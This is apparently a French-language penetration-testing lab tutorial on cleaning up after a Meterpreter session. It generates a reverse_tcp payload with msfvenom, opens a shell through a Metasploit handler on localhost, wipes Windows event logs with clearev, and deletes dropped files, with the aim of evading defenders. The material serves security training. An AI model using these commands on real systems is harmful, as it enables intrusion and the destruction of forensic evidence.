Nettoyer un système après un engagement avec Meterpreter

Kali LinuxBeginner
Pratiquer maintenant

Introduction

Dans le domaine des tests d'intrusion (penetration testing) et du red teaming, obtenir l'accès à un système cible n'est qu'une partie de la mission. Ce que vous faites après avoir obtenu l'accès, et tout aussi important, avant de vous déconnecter, est crucial. Cette phase est connue sous le nom de post-exploitation. Un élément essentiel de la post-exploitation est le nettoyage (cleanup) : le processus de suppression de toutes les traces de votre présence sur le système compromis.

Laisser derrière vous des outils, des journaux (logs) ou des modifications du système peut alerter les administrateurs système et les équipes bleues (blue teams) de vos activités, entraînant l'échec de l'engagement et la correction des vulnérabilités que vous avez exploitées. Meterpreter, une charge utile (payload) puissante au sein du Metasploit Framework, fournit plusieurs outils pour aider à ce processus de nettoyage.

Dans ce laboratoire, vous apprendrez les étapes fondamentales du nettoyage d'un système après un engagement en utilisant Meterpreter. Vous pratiquerez l'obtention d'une session, le vidage des journaux d'événements (event logs), la suppression de fichiers et la compréhension de l'importance de ne laisser aucune trace.

Obtenir une session Meterpreter sur une cible

Dans cette étape, avant de pouvoir pratiquer le nettoyage d'un système, nous devons d'abord y accéder. Nous allons simuler cela en créant une charge utile avec msfvenom, en configurant un écouteur (listener) dans le Metasploit Framework, puis en "exécutant" la charge utile sur notre propre machine pour obtenir une session Meterpreter sur localhost.

Tout d'abord, ouvrez un terminal et utilisez msfvenom pour générer une charge utile Meterpreter pour Linux. Cette commande créera un fichier exécutable nommé payload.elf dans votre répertoire actuel (~/project).

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o ~/project/payload.elf

Vous devriez voir une sortie indiquant que la charge utile a été générée avec succès :

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, choosing x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 120 bytes
Final size of elf file: 240 bytes
Saved as: ~/project/payload.elf

Ensuite, démarrez la console Metasploit Framework. L'indicateur -q permet de la démarrer silencieusement sans afficher la bannière.

msfconsole -q

Une fois que vous êtes à l'invite msfconsole, vous devez configurer un écouteur pour intercepter la connexion de la charge utile. Nous utiliserons le module exploit/multi/handler.

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
exploit -j

La commande exploit -j démarre l'écouteur comme une tâche en arrière-plan, vous permettant ainsi de continuer à utiliser la console. Vous verrez un message indiquant que le gestionnaire (handler) a démarré.

Maintenant, ouvrez un nouvel onglet de terminal en cliquant sur l'icône + dans la fenêtre du terminal. Dans ce nouvel onglet, rendez la charge utile exécutable et exécutez-la.

chmod +x ~/project/payload.elf
~/project/payload.elf

Revenez à votre premier onglet de terminal avec msfconsole. Vous devriez voir un message indiquant qu'une session Meterpreter a été ouverte.

[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:36978) at 2023-10-27 10:30:00 -0400

Pour interagir avec cette nouvelle session, utilisez la commande sessions.

sessions -i 1

Votre invite devrait changer en meterpreter >, indiquant que vous contrôlez maintenant la session.

Utiliser la commande clearev pour effacer les journaux d'événements

Dans cette étape, nous allons discuter de l'une des commandes de nettoyage les plus importantes dans Meterpreter : clearev. Un objectif principal du nettoyage est de supprimer les preuves de votre activité des journaux système. Sur les systèmes Windows, ces journaux (Application, Système et Sécurité) sont une source d'information primordiale pour les enquêteurs médico-légaux.

La commande clearev est conçue spécifiquement pour effacer ces trois journaux d'événements principaux sur une cible Windows.

Note importante : Notre session Meterpreter actuelle est sur un système Linux. La commande clearev ne fonctionnera pas ici et produira une erreur. Nous démontrons son utilisation à des fins éducatives, car c'est un outil essentiel lorsque votre cible est Windows.

Dans votre invite meterpreter >, tapez la commande pour voir le résultat sur notre session Linux :

meterpreter > clearev

Vous verrez un message d'erreur car la commande n'est pas implémentée pour les systèmes Linux.

[-] core_channel_open: Operation failed: The "stdapi_sys_eventlog_open" command is not supported by this session.

Cependant, si vous étiez dans une session Meterpreter sur une machine Windows, la sortie ressemblerait à ceci, indiquant le succès :

[*] Wiping 3 records from Application...
[*] Wiping 3 records from System...
[*] Wiping 3 records from Security...

Comprendre quels outils fonctionnent sur quels systèmes d'exploitation est une compétence clé pour un testeur d'intrusion. Même si nous n'avons pas pu l'exécuter avec succès, vous connaissez maintenant la commande principale pour effacer les journaux d'événements sur une cible Windows.

Supprimer manuellement les fichiers ou outils téléchargés

Dans cette étape, vous apprendrez à supprimer manuellement les fichiers que vous avez pu télécharger ou créer sur le système cible. Les scripts automatisés sont utiles, mais vous devez toujours effectuer une vérification manuelle pour vous assurer qu'aucun outil, script ou charge utile n'est laissé derrière.

Dans notre scénario actuel, le fichier payload.elf que nous avons créé à l'étape 1 se trouve maintenant sur le système "compromis". Nous devons le supprimer pour effacer nos traces. Nous pouvons le faire directement depuis notre session Meterpreter.

Tout d'abord, utilisez la commande ls dans Meterpreter pour lister les fichiers dans le répertoire actuel de la cible. Vous devriez voir votre fichier de charge utile.

meterpreter > ls

La sortie listera les fichiers dans /home/labex/project :

Listing: /home/labex/project
============================

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
100755/rwxr-xr-x  240     fil   2023-10-27 10:28:00 -0400  payload.elf
...

Maintenant, utilisez la commande rm dans Meterpreter pour supprimer le fichier.

meterpreter > rm payload.elf

Vous devriez voir un message de confirmation :

[*] rm: Removed /home/labex/project/payload.elf

Pour confirmer que le fichier a disparu, exécutez à nouveau la commande ls. Le fichier payload.elf ne devrait plus être listé. C'est une étape cruciale pour vous assurer de laisser le système tel que vous l'avez trouvé.

Revenir sur les modifications système effectuées pendant la post-exploitation

Dans cette étape, nous aborderons un autre aspect du nettoyage : revenir sur les modifications système. Pendant la post-exploitation, vous pourriez ajouter des comptes utilisateurs, modifier les permissions de fichiers ou créer des tâches planifiées pour la persistance. Toutes ces modifications doivent être annulées avant votre départ.

Nous allons simuler cela en créant un fichier temporaire pour représenter une modification système, puis nous le supprimerons.

Depuis votre invite meterpreter >, créons un fichier nommé temp_change.txt. Nous pouvons le faire en utilisant la commande execute de Meterpreter pour exécuter la commande touch sur le système cible.

meterpreter > execute -f touch -a "/home/labex/project/temp_change.txt"

Cette commande exécute touch avec l'argument /home/labex/project/temp_change.txt. Vous pouvez vérifier sa création avec ls.

meterpreter > ls

Maintenant, dans le cadre de notre nettoyage, nous devons supprimer ce fichier. Utilisez la commande rm comme vous l'avez fait à l'étape précédente.

meterpreter > rm temp_change.txt

Ceci est un exemple très simple, mais le principe s'applique à des modifications plus complexes. Si vous avez ajouté un utilisateur, vous devez supprimer cet utilisateur. Si vous avez modifié un fichier de configuration, vous devez le restaurer à partir d'une sauvegarde ou annuler les modifications manuellement.

Enfin, notre nettoyage sur la cible est terminé. Nous pouvons maintenant quitter la session Meterpreter, puis quitter la console Metasploit.

meterpreter > exit
[*] Shutting down Meterpreter...

msf6 exploit(multi/handler) > exit

Cela vous ramènera à votre invite de terminal habituelle.

Discuter de l'importance de ne laisser aucune trace

Cette dernière étape est une revue conceptuelle de la raison pour laquelle le nettoyage est l'une des phases les plus critiques d'un engagement de sécurité professionnel. Il n'y a pas de commandes à exécuter ici ; l'objectif est de comprendre l'importance stratégique de ce que vous venez de pratiquer.

Raisons clés d'un nettoyage approfondi :

  1. Sécurité Opérationnelle (OPSEC) : L'objectif principal est de rester indétecté. Tout artefact que vous laissez derrière vous – un fichier, une entrée de journal, un processus en cours d'exécution – est un indice pour les équipes bleues et les équipes de réponse aux incidents. Être détecté peut anéantir toute votre opération, y compris les outils et l'infrastructure que vous avez utilisés.

  2. Professionnalisme et Intégrité : Dans un test d'intrusion professionnel, vous êtes engagé pour évaluer la sécurité, pas pour endommager les systèmes du client. Laisser un système dans un état modifié est non professionnel. Restaurer le système à son état d'origine témoigne de soin et de respect pour l'environnement du client.

  3. Prévention des dommages involontaires : Les outils ou scripts laissés derrière peuvent causer une instabilité du système. Pire encore, une porte dérobée que vous avez créée pour l'accès pourrait être découverte et utilisée par un acteur malveillant, rendant le système moins sécurisé qu'au début de votre intervention. Votre responsabilité est d'améliorer la sécurité, pas de créer de nouvelles vulnérabilités.

  4. Maintien de l'accès futur : Dans un engagement d'équipe rouge qui peut s'étendre sur des semaines ou des mois, le nettoyage après chaque petite action garantit que votre accès à long terme n'est pas découvert prématurément. Si vous êtes détecté, les défenseurs corrigeront les vulnérabilités et fermeront les points d'accès que vous utilisiez.

En résumé, un nettoyage efficace ne consiste pas seulement à supprimer des fichiers. C'est un état d'esprit qui privilégie la discrétion, le professionnalisme et la mission principale de l'engagement. Il sépare les hackers amateurs des testeurs de sécurité professionnels.

Résumé

Dans ce laboratoire, vous avez parcouru le processus essentiel de nettoyage d'un système compromis à l'aide de Meterpreter. C'est une compétence fondamentale pour tout hacker éthique ou testeur d'intrusion.

Vous avez réussi à :

  • Obtenir une session Meterpreter en créant et exécutant une charge utile (payload).
  • Apprendre la commande clearev et son cas d'utilisation spécifique pour effacer les journaux d'événements sur les systèmes Windows.
  • Pratiquer la suppression manuelle de fichiers d'un système cible à l'aide de la commande rm de Meterpreter.
  • Simuler le retour des modifications système en créant et supprimant un fichier temporaire.
  • Réfléchir à l'importance capitale du nettoyage pour maintenir la sécurité opérationnelle et le professionnalisme.

En maîtrisant ces techniques, vous pouvez vous assurer que vos engagements de sécurité sont non seulement efficaces, mais aussi responsables, en laissant l'environnement cible tel que vous l'avez trouvé et en minimisant le risque de détection.